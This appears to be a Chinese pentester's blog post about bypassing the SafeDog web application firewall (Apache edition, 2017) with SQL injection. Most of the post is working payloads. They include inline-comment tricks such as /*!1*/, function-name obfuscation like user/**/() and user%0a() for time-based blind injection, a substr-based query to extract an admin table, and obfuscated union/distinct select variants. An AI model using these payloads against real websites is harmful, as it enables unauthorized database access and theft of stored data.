打狗棒法-注入过狗姿势


前言:作为团队最水的菜鸡,上周终于有时间搞搞自己的事了。本篇文章主要总结绕狗过程中遇到的各种姿势和坑,由于不是专业绕狗选手,希望各位大佬不要嘲笑。目前测试的版本为网站安全狗(apache版)4.0.18089,截止2017/09/25官网最新版


0x00 各种尝试

被拦语句

首先尝试了各种常用的payload,看看狗拦了哪些操作,发现如下语句会拦截:

and 1=1/and ‘a’=’a’类型
union select/union distinct select等
user()、database()等函数

放行语句

在上面尝试中发现如下语句未被拦截:

order by
select、union分开使用
and if

0x01 第一种思路

先尝试绕过and 1=1/and 'a'='a'的限制
这里可以使用内联注释进行绕过: and /*!1*/=/*!1*/即可绕过

接着我们尝试一下利用时间盲注来进行绕过,我们先尝试一下正常的语句:

‘ and if(substr(user(),1,1)=’r’,sleep(5),1)– -
这个语句肯定会被拦截,因为含有user()等敏感函数,那么怎么绕过呢,我们试试user/**/()这样的形式
‘ and if(substr(user/**/(),1,1)=’r’,sleep/**/(5),1)– -

这里安全狗没有拦截,网站响应时间是6s(没有sleep也有1s的响应,所以延时5s没有问题,虚拟机卡啊T_T)
后续尝试发现,user%0a()也是可以绕过的。

ps:这里提个问题,用这种形式的注入,如何注入到表中内容,暂时没有头绪,望大佬指教。


问题已解决(还是基础不扎实)。
可以使用and if(substr((select * from admin),1,1),1,0)这样的形式注入出数据
具体注入还有相关的坑需要绕过,这个大家可以自行研究,利用本文的方法是可以过的。

0x02 第二种思路

回到刚才的问题,没有更进一步获取数据,还是把目光聚焦在union select的绕过。
这里试过很多坑,但还是把尝试过的payload发出来,说不定另外的waf能过呢,也包含了一些mysql的特性:

union /*!(select@1*/,2,3) //select后面可跟@,!,~,如select!1,select~1
union/**//**/(/*!select@1*/,2,3)
union/*!/**/*//*!(select@1*/,2,3)

后来发现怎么也绕不过去,然后查询资料发现union select等价于union distinct select
进行尝试,失败:

继续尝试,给distinct加内联注释,失败:

在distinct前面加上/**/,成功:

0x03 总结

思路比较混乱,还需了解更多的数据库特性,还有正则表达式,才能深入了解过waf的思路技巧。

文章目录
  1. 1. 0x00 各种尝试
    1. 1.0.1. 被拦语句
    2. 1.0.2. 放行语句
  • 2. 0x01 第一种思路
  • 3. 0x02 第二种思路
  • 4. 0x03 总结
  • |